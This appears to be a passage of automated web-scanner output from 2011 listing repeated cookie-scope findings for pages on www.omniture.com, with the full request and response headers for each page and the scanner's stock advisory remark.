HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 18:58:16 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 18:58:16 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 18:58:17 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 18:58:16 GMT; path=/; domain=omniture.com Content-Length: 43642
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Privacy Center: Privac ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/privacy/product HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 18:58:18 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 18:58:18 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 18:58:19 GMT Content-Length: 31979 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 18:58:18 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Product Privacy Policy ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/privacy/visualsciences HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 18:58:18 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 18:58:18 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 18:58:18 GMT Content-Length: 21092 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 18:58:18 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture | Company | Visual Sci ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/privacy/visualsciences/policy HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 18:58:20 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 18:58:20 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 18:58:20 GMT Content-Length: 27266 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 18:58:20 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture | Company | Visual Sci ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/privacy/visualsciences/resources HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 18:58:25 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 18:58:25 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 18:58:25 GMT Content-Length: 25972 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 18:58:25 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture | Company | Visual Sci ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/privacy/visualsciences/terms HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 18:58:28 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 18:58:28 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 18:58:28 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 18:58:28 GMT; path=/; domain=omniture.com Content-Length: 48076
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture | Company | Visual Sci ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/product_tours/form HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:24:42 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:24:42 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:24:42 GMT Content-Length: 14126 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:24:42 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture | Products Tours & Add ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/conversion HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 18:59:54 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 18:59:54 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 18:59:54 GMT Content-Length: 24236 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 18:59:54 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Online Conversions, Target Mark ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/conversion/merchandising HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:00:14 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:00:14 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:00:15 GMT Content-Length: 31731 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:00:14 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture | Conversion | Merchan ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/conversion/publish HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:00:20 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:00:20 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:00:20 GMT Content-Length: 24910 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:00:20 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Content Management System | Ent ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/conversion/recommendations HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:00:21 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:00:21 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:00:21 GMT Content-Length: 31203 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:00:21 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture | Conversion | Recomme ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/conversion/searchandpromote HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:00:39 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:00:39 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:00:39 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:00:39 GMT; path=/; domain=omniture.com Content-Length: 34884
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Site Search, Website Search Eng ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/conversion/survey HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:00:42 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:00:42 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:00:42 GMT Content-Length: 28970 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:00:42 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Online Survey, Voice of Custome ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/conversion/testandtarget HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:00:53 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:00:53 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:00:53 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:00:53 GMT; path=/; domain=omniture.com Content-Length: 36398
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Website Optimization & Tracking ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/conversion/testandtarget11 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:01:10 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:01:10 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:01:10 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:01:10 GMT; path=/; domain=omniture.com Content-Length: 34796
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Test and Target1:1 | Behavioral ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/marketing_integration/closed_loop_marketing HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:03:53 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:03:53 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:03:53 GMT Content-Length: 25652 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:03:53 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Closed Loop Marketing< ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/marketing_integration/genesis HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:03:32 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:03:32 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:03:32 GMT Content-Length: 26018 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:03:32 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Email Marketing Software | Sale ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
